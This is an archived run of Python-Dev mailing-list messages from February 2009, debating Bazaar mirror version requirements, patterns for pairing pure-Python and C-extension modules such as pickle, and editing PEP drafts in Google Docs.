(=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sat, 21 Feb 2009 18:17:45 +0100 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <873ae856le.fsf@xemacs.org> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> <873ae856le.fsf@xemacs.org> Message-ID: <49A03739.3010202@v.loewis.de> > You're ignoring the second paragraph quoted above. I'm *not* denying > that such environments are common. The question is "Do developers > *restricted to such environments* really have an impact on Python > development to outweigh the real cost of standardizing on an older > implementation of Bazaar to developers who would be able to use a more > capable version?" But that's not the question at hand. The question at hand was whether any of the current users of the Bazaar copy of Python would suffer. This setup was specifically arranged for developers who have no immediate impact on Python development, so ignoring the primary target group of the setup when discussing changes to is is, well, counter-productive. > Unless the Barry feels that that would be a > risk to Bazaar's acceptability in the end. Whether it is depends on when a DVCS gets selected. If it gets selected after lenny+1 has been released, I see no problem with requiring version 1.12 (or whatever lenny+1 will then ship with). > Besides, if Barry makes this experiment *now* and enough people speak > up that it will make it difficult for them to contribute to Python, > the Bazaar proponents can revert to an older version of Bazaar before > a final decision is made. I agree. Going back might require a reconversion of the subversion repository, but that might be necessary regardless. Regards, Martin From exarkun at divmod.com Sat Feb 21 18:17:49 2009 From: exarkun at divmod.com (Jean-Paul Calderone) Date: Sat, 21 Feb 2009 12:17:49 -0500 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: Message-ID: <20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com> On Fri, 20 Feb 2009 13:45:26 -0800, Brett Cannon wrote: >On Fri, Feb 20, 2009 at 12:53, Aahz wrote: > >> On Fri, Feb 20, 2009, Brett Cannon wrote: >> > On Fri, Feb 20, 2009 at 12:37, Brett Cannon wrote: >> >> On Fri, Feb 20, 2009 at 12:31, Daniel Stutzbach < >> >> daniel at stutzbachenterprises.com> wrote: >> >>> >> >>> A slight change would make it work for modules where only key functions >> >>> have been rewritten. For example, pickle.py could read: >> >>> >> >>> from _pypickle import * >> >>> try: from _pickle import * >> >>> except ImportError: pass >> >> >> >> True, although that still suffers from the problem of overwriting things >> >> like __name__, __file__, etc. >> > >> > Actually, I take that back; the IMPORT_STAR opcode doesn't pull in >> anything >> > starting with an underscore. So while this alleviates the worry above, it >> > does mean that anything that gets rewritten needs to have a name that >> does >> > not lead with an underscore for this to work. Is that really an >> acceptable >> > compromise for a simple solution like this? >> >> Doesn't __all__ control this? > > >If you define it, yes. > >But there is another issue with this: the pure Python code will never call >the extension code because the globals will be bound to _pypickle and not >_pickle. So if you have something like:: > > # _pypickle > def A(): return _B() > def _B(): return -13 > > # _pickle > def _B(): return 42 > > # pickle > from _pypickle import * > try: from _pickle import * > except ImportError: pass > >If you import pickle and call pickle.A() you will get -13 which is not what >you are after. If pickle and _pypickle are both Python modules, and _pypickle.A is intended to be used all the time, regardless of whether _pickle is available, then there's not really any reason to implement A in _pypickle. Just implement it in pickle. Then import whatever optionally fast thing it depends on from _pickle, if possible, and fall-back to the less fast thing in _pypickle otherwise. This is really the same as any other high-level/low-level library split. It doesn't matter that in this case, one low-level implementation is provided as an extension module. Importing the low-level APIs from another module and then using them to implement high-level APIs is a pretty common, simple, well-understood technique which is quite applicable here. Jean-Paul From wilk at flibuste.net Sat Feb 21 18:19:20 2009 From: wilk at flibuste.net (William Dode) Date: Sat, 21 Feb 2009 17:19:20 +0000 (UTC) Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs References: <499C6E00.2030602@canterbury.ac.nz> <87tz6ppzk9.fsf@xemacs.org> <87eixs5tp5.fsf@xemacs.org> <1bc395c10902202212l236761ar42a1bbc8a8ed3a@mail.gmail.com> Message-ID: On 21-02-2009, Guido van Rossum wrote: > On Sat, Feb 21, 2009 at 6:25 AM, wrote: >> On Sat, 21 Feb 2009 at 01:12, Jeff Hall wrote: >>>> >>>> Not that I'm expecting to be working on PEPs any time soon, but just as a >>>> different perspective, I would find the effort to open up Google docs to >>>> be a much higher barrier to doing some editing tweaks than the dvcs case. >>>> For the DVCS, I'd just write a little script that would (1) update (2) >>>> open the editor on the file (3) do the commit/push dance when the file >>>> was closed. So for me it would be as easy as editing the file locally. >>>> >>>> So for my work style, a DVCS would be the biggest win. >>>> >>>> --RDM >>> >>> That's funny because I would expect that for most people it's the exact >>> opposite... just create a gmail account... boom, done... I'm not >>> necessarily >>> advocating that but just saying that IMO, most people will find google >>> docs >>> to be the "fastest" and "easiest" solution. >> >> The ease of creating a gmail account has nothing to do with the point >> to which I was responding (context which is lost from your reply). >> That's setup. I was responding to a point talking about in-the-moment >> workflow. A browser and a GUI javascript program are slower than a unix >> command line based editor such as vim or emacs both to open up and to use. >> Thus for me, by using a script to automate the part that the OP suggested >> would slow the dvcs user down (the update/commit/push cycle), I make >> the dvcs in-the-moment workflow much faster _for me_ than Google Docs. >> >> As I said it's a matter of personal style. Some people _will_ find >> Google Docs easier and more productive than a dvcs. My point was that >> not all people will. > > That's a discussion that can never come to a decent conclusion. We > will never find a solution that works for *everyone* Maybe not for everyone but maybe a DVCS could work for everythings. I mean, work for the code, for the doc, for the peps, for the website... And also the same tools for core devs and for occasional contributors. -- William Dod? - http://flibuste.net Informaticien Ind?pendant From tseaver at palladion.com Sat Feb 21 18:45:00 2009 From: tseaver at palladion.com (Tres Seaver) Date: Sat, 21 Feb 2009 12:45:00 -0500 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <499FCFF0.6060405@v.loewis.de> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> Message-ID: <49A03D9C.8050604@palladion.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Martin v. L?wis wrote: >> I didn't say "from source", I said "from a VCS checkout". If using a >> *specific* recent official release of a core tool is bureaucratically >> infeasible, it would IMO be very unusual if you're allowed to checkout >> and build arbitrary versions of Python, rather than using a version >> provided by your bureaucrats. >> >> The number of people whose job is *specifically* developing Python, or >> developing code that depends on bleeding-edge Python, in such an >> environment is surely very small. > > This completely contradicts with my experience. In a university > environment, students regularly check out software from the source > repository, modify it, and build it, just to learn something by doing > so. Yet, in such an environment, they have little control over their > systems - they cannot install software themselves, but have to ask > the university bureaucrats (which often reject such wishes, unless > they come from a teacher - and often even in that case). > > There is no problem with people building their own versions of Python, > though - they do so in their home directories, and OS security > mechanisms prevent them from doing harm to other users. Wouldn't such hypothetical core Python developers be able to build and run their own local copy of bzr, using that self-compiled Python? Let's not strain at gnats and swallow camels here. Tres. - -- =================================================================== Tres Seaver +1 540-429-0999 tseaver at palladion.com Palladion Software "Excellence by Design" http://palladion.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJoD2c+gerLs4ltQ4RAjglAJ9fgoSD0g9jJm8Kw/Z2PBvyXKYIWQCeL+Xa lybDHEZyjZxG21inSFsn1W0= =d02o -----END PGP SIGNATURE----- From tseaver at palladion.com Sat Feb 21 18:45:00 2009 From: tseaver at palladion.com (Tres Seaver) Date: Sat, 21 Feb 2009 12:45:00 -0500 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <499FCFF0.6060405@v.loewis.de> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> Message-ID: <49A03D9C.8050604@palladion.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Martin v. L?wis wrote: >> I didn't say "from source", I said "from a VCS checkout". If using a >> *specific* recent official release of a core tool is bureaucratically >> infeasible, it would IMO be very unusual if you're allowed to checkout >> and build arbitrary versions of Python, rather than using a version >> provided by your bureaucrats. >> >> The number of people whose job is *specifically* developing Python, or >> developing code that depends on bleeding-edge Python, in such an >> environment is surely very small. > > This completely contradicts with my experience. In a university > environment, students regularly check out software from the source > repository, modify it, and build it, just to learn something by doing > so. Yet, in such an environment, they have little control over their > systems - they cannot install software themselves, but have to ask > the university bureaucrats (which often reject such wishes, unless > they come from a teacher - and often even in that case). > > There is no problem with people building their own versions of Python, > though - they do so in their home directories, and OS security > mechanisms prevent them from doing harm to other users. Wouldn't such hypothetical core Python developers be able to build and run their own local copy of bzr, using that self-compiled Python? Let's not strain at gnats and swallow camels here. Tres. - -- =================================================================== Tres Seaver +1 540-429-0999 tseaver at palladion.com Palladion Software "Excellence by Design" http://palladion.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJoD2c+gerLs4ltQ4RAjglAJ9fgoSD0g9jJm8Kw/Z2PBvyXKYIWQCeL+Xa lybDHEZyjZxG21inSFsn1W0= =d02o -----END PGP SIGNATURE----- From martin at v.loewis.de Sat Feb 21 19:03:31 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sat, 21 Feb 2009 19:03:31 +0100 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <49A03D9C.8050604@palladion.com> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> <49A03D9C.8050604@palladion.com> Message-ID: <49A041F3.60909@v.loewis.de> > Wouldn't such hypothetical core Python developers be able to build and > run their own local copy of bzr, using that self-compiled Python? It has been hypothetical for a while, but it never was about core developers. Regards, Martin From brett at python.org Sat Feb 21 20:07:07 2009 From: brett at python.org (Brett Cannon) Date: Sat, 21 Feb 2009 11:07:07 -0800 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: <20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com> References: <20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com> Message-ID: On Sat, Feb 21, 2009 at 09:17, Jean-Paul Calderone wrote: > On Fri, 20 Feb 2009 13:45:26 -0800, Brett Cannon wrote: > >> On Fri, Feb 20, 2009 at 12:53, Aahz wrote: >> >> On Fri, Feb 20, 2009, Brett Cannon wrote: >>> > On Fri, Feb 20, 2009 at 12:37, Brett Cannon wrote: >>> >> On Fri, Feb 20, 2009 at 12:31, Daniel Stutzbach < >>> >> daniel at stutzbachenterprises.com> wrote: >>> >>> >>> >>> A slight change would make it work for modules where only key >>> functions >>> >>> have been rewritten. For example, pickle.py could read: >>> >>> >>> >>> from _pypickle import * >>> >>> try: from _pickle import * >>> >>> except ImportError: pass >>> >> >>> >> True, although that still suffers from the problem of overwriting >>> things >>> >> like __name__, __file__, etc. >>> > >>> > Actually, I take that back; the IMPORT_STAR opcode doesn't pull in >>> anything >>> > starting with an underscore. So while this alleviates the worry above, >>> it >>> > does mean that anything that gets rewritten needs to have a name that >>> does >>> > not lead with an underscore for this to work. Is that really an >>> acceptable >>> > compromise for a simple solution like this? >>> >>> Doesn't __all__ control this? >>> >> >> >> If you define it, yes. >> >> But there is another issue with this: the pure Python code will never call >> the extension code because the globals will be bound to _pypickle and not >> _pickle. So if you have something like:: >> >> # _pypickle >> def A(): return _B() >> def _B(): return -13 >> >> # _pickle >> def _B(): return 42 >> >> # pickle >> from _pypickle import * >> try: from _pickle import * >> except ImportError: pass >> >> If you import pickle and call pickle.A() you will get -13 which is not >> what >> you are after. >> > > If pickle and _pypickle are both Python modules, and _pypickle.A is > intended > to be used all the time, regardless of whether _pickle is available, then > there's not really any reason to implement A in _pypickle. Just implement > it > in pickle. Then import whatever optionally fast thing it depends on from > _pickle, if possible, and fall-back to the less fast thing in _pypickle > otherwise. > > This is really the same as any other high-level/low-level library split. > It > doesn't matter that in this case, one low-level implementation is provided > as > an extension module. Importing the low-level APIs from another module and > then using them to implement high-level APIs is a pretty common, simple, > well-understood technique which is quite applicable here. But that doesn't provide a clear way, short of screwing with sys.modules, to get at just the pure Python implementation for testing when the extensions are also present. The key point in trying to figure this out is to facilitate testing since the standard library already uses the import * trick in a couple of places. -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From stephen at xemacs.org Sat Feb 21 20:20:54 2009 From: stephen at xemacs.org (Stephen J. Turnbull) Date: Sun, 22 Feb 2009 04:20:54 +0900 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <49A03739.3010202@v.loewis.de> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> <873ae856le.fsf@xemacs.org> <49A03739.3010202@v.loewis.de> Message-ID: <87wsbj4mw9.fsf@xemacs.org> "Martin v. L?wis" writes: > so ignoring the primary target group of the setup when discussing > changes to is is, well, counter-productive. I'm *not* ignoring them; I'm stating a strong belief that the great majority of them will not be adversely affected by this change. Since almost by definition they're not likely to speak up very much, I'm happy to hear arguments from a qualified observer (such as yourself) on their behalf. But 10,000 students who use a VCS for a school project don't matter. The question is, how many of them would work on bleeding edge Python? Those who won't can't suffer from this change! On the other hand, every Bazaar-using developer who has a copy of bzr >= 1.9 is *already* suffering. > > Unless the Barry feels that that would be a > > risk to Bazaar's acceptability in the end. > > Whether it is depends on when a DVCS gets selected. If it gets selected > after lenny+1 has been released, I see no problem with requiring version > 1.12 (or whatever lenny+1 will then ship with). I really hope we won't have to wait that long! From glyph at divmod.com Sat Feb 21 20:43:31 2009 From: glyph at divmod.com (glyph at divmod.com) Date: Sat, 21 Feb 2009 19:43:31 -0000 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: References: <20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com> Message-ID: <20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com> On 07:07 pm, brett at python.org wrote: >On Sat, Feb 21, 2009 at 09:17, Jean-Paul Calderone >wrote: >>>But there is another issue with this: the pure Python code will never >>>call >>>the extension code because the globals will be bound to _pypickle and >>>not >>>_pickle. So if you have something like:: >>> # _pypickle >>> def A(): return _B() >>> def _B(): return -13 >>> # _pickle >>> def _B(): return 42 >>> # pickle >>> from _pypickle import * >>> try: from _pickle import * >>> except ImportError: pass >>This is really the same as any other high-level/low-level >>library split. It doesn't matter that in this case, one >>low-level implementation is provided as an extension module. >>Importing the low-level APIs from another module and then >>using them to implement high-level APIs is a pretty common, >>simple, well-understood technique which is quite applicable >>here. >But that doesn't provide a clear way, short of screwing with >sys.modules, to >get at just the pure Python implementation for testing when the >extensions >are also present. The key point in trying to figure this out is to >facilitate testing since the standard library already uses the import * >trick in a couple of places. You don't have to screw with sys.modules. The way I would deal with testing this particular interaction would be a setUp that replaces pickle._A with _pypickle._A, and a tearDown that restores the original one. Twisted's TestCase has specific support for this. You would spell it like this: import _pypickle # ... testCase.patch(pickle, '_A', _pypickle._A) You can read more about this method here: http://python.net/crew/mwh/apidocs/twisted.trial.unittest.TestCase.html#patch From exarkun at divmod.com Sat Feb 21 20:32:50 2009 From: exarkun at divmod.com (Jean-Paul Calderone) Date: Sat, 21 Feb 2009 14:32:50 -0500 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: Message-ID: <20090221193250.12853.796903955.divmod.quotient.12520@henry.divmod.com> On Sat, 21 Feb 2009 11:07:07 -0800, Brett Cannon wrote: >On Sat, Feb 21, 2009 at 09:17, Jean-Paul Calderone wrote: > >> On Fri, 20 Feb 2009 13:45:26 -0800, Brett Cannon wrote: >> >>> On Fri, Feb 20, 2009 at 12:53, Aahz wrote: >>> >>> On Fri, Feb 20, 2009, Brett Cannon wrote: >>>> > On Fri, Feb 20, 2009 at 12:37, Brett Cannon wrote: >>>> >> On Fri, Feb 20, 2009 at 12:31, Daniel Stutzbach < >>>> >> daniel at stutzbachenterprises.com> wrote: >>>> >>> >>>> >>> A slight change would make it work for modules where only key >>>> functions >>>> >>> have been rewritten. For example, pickle.py could read: >>>> >>> >>>> >>> from _pypickle import * >>>> >>> try: from _pickle import * >>>> >>> except ImportError: pass >>>> >> >>>> >> True, although that still suffers from the problem of overwriting >>>> things >>>> >> like __name__, __file__, etc. >>>> > >>>> > Actually, I take that back; the IMPORT_STAR opcode doesn't pull in >>>> anything >>>> > starting with an underscore. So while this alleviates the worry above, >>>> it >>>> > does mean that anything that gets rewritten needs to have a name that >>>> does >>>> > not lead with an underscore for this to work. Is that really an >>>> acceptable >>>> > compromise for a simple solution like this? >>>> >>>> Doesn't __all__ control this? >>>> >>> >>> >>> If you define it, yes. >>> >>> But there is another issue with this: the pure Python code will never call >>> the extension code because the globals will be bound to _pypickle and not >>> _pickle. So if you have something like:: >>> >>> # _pypickle >>> def A(): return _B() >>> def _B(): return -13 >>> >>> # _pickle >>> def _B(): return 42 >>> >>> # pickle >>> from _pypickle import * >>> try: from _pickle import * >>> except ImportError: pass >>> >>> If you import pickle and call pickle.A() you will get -13 which is not >>> what >>> you are after. >>> >> >> If pickle and _pypickle are both Python modules, and _pypickle.A is >> intended >> to be used all the time, regardless of whether _pickle is available, then >> there's not really any reason to implement A in _pypickle. Just implement >> it >> in pickle. Then import whatever optionally fast thing it depends on from >> _pickle, if possible, and fall-back to the less fast thing in _pypickle >> otherwise. >> >> This is really the same as any other high-level/low-level library split. >> It >> doesn't matter that in this case, one low-level implementation is provided >> as >> an extension module. Importing the low-level APIs from another module and >> then using them to implement high-level APIs is a pretty common, simple, >> well-understood technique which is quite applicable here. > > >But that doesn't provide a clear way, short of screwing with sys.modules, to >get at just the pure Python implementation for testing when the extensions >are also present. The key point in trying to figure this out is to >facilitate testing since the standard library already uses the import * >trick in a couple of places. "screwing with sys.modules" isn't a goal. It's a means of achieving a goal, and not a particularly good one. I guess I overedited my message, sorry about that. Originally I included an example of how to parameterize the high-level API to make it easier to test (or use) with any implementation one wants. It went something like this: try: import _pickle as _lowlevel except ImportError: import _pypickle as _lowlevel class Pickler: def __init__(self, implementation=None): if implementation is None: implementation = _lowlevel self.dump = implementation.dump self.load = implementation.load ... Perhaps this isn't /exactly/ how pickle wants to work - I haven't looked at how the C extension and the Python code fit together - but the general idea should apply regardless of those details. Jean-Paul From martin at v.loewis.de Sat Feb 21 20:47:10 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sat, 21 Feb 2009 20:47:10 +0100 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <87wsbj4mw9.fsf@xemacs.org> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> <873ae856le.fsf@xemacs.org> <49A03739.3010202@v.loewis.de> <87wsbj4mw9.fsf@xemacs.org> Message-ID: <49A05A3E.2080309@v.loewis.de> > I'm *not* ignoring them; I'm stating a strong belief that the great > majority of them will not be adversely affected by this change. Since > almost by definition they're not likely to speak up very much, I'm > happy to hear arguments from a qualified observer (such as yourself) > on their behalf. But 10,000 students who use a VCS for a school > project don't matter. The question is, how many of them would work on > bleeding edge Python? Those who won't can't suffer from this change! >From my experience, students trying to hack open source software *always* take the public source repository (if available). Downloading the latest source release doesn't cross their mind. I'm not talking about regular school projects. I talk about Joe Random CS student who wants to do some fun project in his spare time. By using the DVCS, they can trust that they will be able to track changes - IIUC, that is supposedly the *major* advantage. Of course, many of them also have personal laptops these days on which they do stuff, at least here in Germany, where they can install whatever it takes. Regards, Martin From solipsis at pitrou.net Sat Feb 21 20:47:35 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Sat, 21 Feb 2009 19:47:35 +0000 (UTC) Subject: [Python-Dev] Attention Bazaar mirror users References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> <873ae856le.fsf@xemacs.org> <49A03739.3010202@v.loewis.de> <87wsbj4mw9.fsf@xemacs.org> Message-ID: Stephen J. Turnbull xemacs.org> writes: > > > > Whether it is depends on when a DVCS gets selected. If it gets selected > > after lenny+1 has been released, I see no problem with requiring version > > 1.12 (or whatever lenny+1 will then ship with). > > I really hope we won't have to wait that long! There are other DVCSes out there, you don't have to "wait" :) From barry at python.org Sat Feb 21 21:30:28 2009 From: barry at python.org (Barry Warsaw) Date: Sat, 21 Feb 2009 15:30:28 -0500 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <873ae856le.fsf@xemacs.org> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> <873ae856le.fsf@xemacs.org> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Feb 21, 2009, at 7:15 AM, Stephen J. Turnbull wrote: > Besides, if Barry makes this experiment *now* and enough people speak > up that it will make it difficult for them to contribute to Python, > the Bazaar proponents can revert to an older version of Bazaar before > a final decision is made. I'm going to resist the temptation to respond to every message in this thread, but really the point was to put forward the best experience with the current experiment. I actually didn't think there were more than a handful of people using the current mirrors and I didn't expect any of them to have a real problem with requiring bzr 1.9. I mean, it can be built and run completely from your own directory if need be. Bazaar is Just Python (well, and a little optional Pyrex). I'm going to resist the temptation to discuss moving beyond the current experimental mirror or the final PEP 374 decision. The latter awaits Brett's analysis and no doubt length and passionate debate here. My own personal prediction is that even if a decision is made soon after Pycon (Brett has said it won't happen before), actual deployment is months away at best. I think no matter what DVCS gets chosen, there will be lots of operational details to be worked out about actually self-hosting those branches to the greatest benefit of Python developers, both core and non-core. Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSaBkZXEjvBPtnXfVAQI4egQAgDgOsVY4xnW34xWCOYZOPUtkzIg/SezM hc8F4VEA2d8s3E7b9Atn4uRBm6ouI57PvIXSOkSUczXAm13yBGazGeQgTo6+VRzq lVIc4VzZU48jn4sUWESjfH0ewZEbnojUCrLtPa5mE4BWtfor3XlYNl6DjBQRh73V 4T6BAhg8rIc= =p3rb -----END PGP SIGNATURE----- From barry at python.org Sat Feb 21 21:32:31 2009 From: barry at python.org (Barry Warsaw) Date: Sat, 21 Feb 2009 15:32:31 -0500 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <499FCFF0.6060405@v.loewis.de> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> Message-ID: <07F2CB6A-2C2A-49F2-9E1B-7B0351733913@python.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Feb 21, 2009, at 4:57 AM, Martin v. L?wis wrote: > There is no problem with people building their own versions of Python, > though - they do so in their home directories, and OS security > mechanisms prevent them from doing harm to other users. As should be the case with Bazaar and I assume Mercurial or Git. I just offered up the PPA for folks like me who are root but lazy. :) Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSaBk33EjvBPtnXfVAQI4sgP+LST/04wpPdckq++BLt5rpeCNfFomu+Zi ea/wWcVvaEOe5qX+wBuzV7+hfHpJdf5mjX6o876G2CR3ES9T4wMIZj8NJXpa6fLV /fioiIgT9/cp5sdtuFtMkN+QPrTYqSkOwoeyEuP1pmxEQLUfMxcb43ipOt/fNRzk 1FVf/g5I5/w= =Ft/Z -----END PGP SIGNATURE----- From asmodai at in-nomine.org Sat Feb 21 21:35:51 2009 From: asmodai at in-nomine.org (Jeroen Ruigrok van der Werven) Date: Sat, 21 Feb 2009 21:35:51 +0100 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> <873ae856le.fsf@xemacs.org> Message-ID: <20090221203551.GD22408@nexus.in-nomine.org> -On [20090221 21:30], Barry Warsaw (barry at python.org) wrote: >I think no matter what DVCS gets chosen Isn't that getting ahead of the game? I thought that the choice whether or not a DVCS gets chosen is part of that PEP? -- Jeroen Ruigrok van der Werven / asmodai ????? ?????? ??? ?? ?????? http://www.in-nomine.org/ | http://www.rangaku.org/ | GPG: 2EAC625B Earth to earth, ashes to ashes, dust to dust... From barry at python.org Sat Feb 21 21:37:10 2009 From: barry at python.org (Barry Warsaw) Date: Sat, 21 Feb 2009 15:37:10 -0500 Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs In-Reply-To: <87eixs5tp5.fsf@xemacs.org> References: <499C6E00.2030602@canterbury.ac.nz> <499CC6E8.5050104@ronadam.com> <499D243B.8080801@canterbury.ac.nz> <499D2740.1070408@canterbury.ac.nz> <499D3086.6020706@canterbury.ac.nz> <87tz6ppzk9.fsf@xemacs.org> <87eixs5tp5.fsf@xemacs.org> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Feb 20, 2009, at 10:56 PM, Stephen J. Turnbull wrote: > (1) and (2) are obvious, I think, and I don't know how much (3) really > matters when the editors are a small group. But I was surprised by > how much (4), and (5) contributed to my experience working on PEP > 0374. Maybe Brett, Barry, or Alexandre would like to comment? My only comment is that Google docs did not always work correctly for me. E.g. at some point toward the end of the process, I lost the ability to add comments. But hey, it's a big pile of JavaScript so I can understand it'll be buggy. :) When it did work, it was pretty convenient. I don't think too many PEPs will need that kind of high bandwidth collaborative environment, but it's nice to have when you need it. Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSaBl9nEjvBPtnXfVAQK3hwP/dGqkRvIOZbQLVq3m2e+x632jACisNa8D s398OU/dLz5ZLI6jMGzBTV4r30RypdlQzI47SzfVb2NS6eEtDEkej1f2TvJUm/uJ O3ROBgo87rmcd9Yu9tClWJLTLw195N1F0fUoy4GwO8cR0+pWXhiVocaRMFSaMciT zbWrVfp1ep0= =l2FD -----END PGP SIGNATURE----- From barry at python.org Sat Feb 21 21:38:04 2009 From: barry at python.org (Barry Warsaw) Date: Sat, 21 Feb 2009 15:38:04 -0500 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <20090221203551.GD22408@nexus.in-nomine.org> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> <873ae856le.fsf@xemacs.org> <20090221203551.GD22408@nexus.in-nomine.org> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Feb 21, 2009, at 3:35 PM, Jeroen Ruigrok van der Werven wrote: > -On [20090221 21:30], Barry Warsaw (barry at python.org) wrote: >> I think no matter what DVCS gets chosen > > Isn't that getting ahead of the game? I thought that the choice > whether or > not a DVCS gets chosen is part of that PEP? It is. Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) 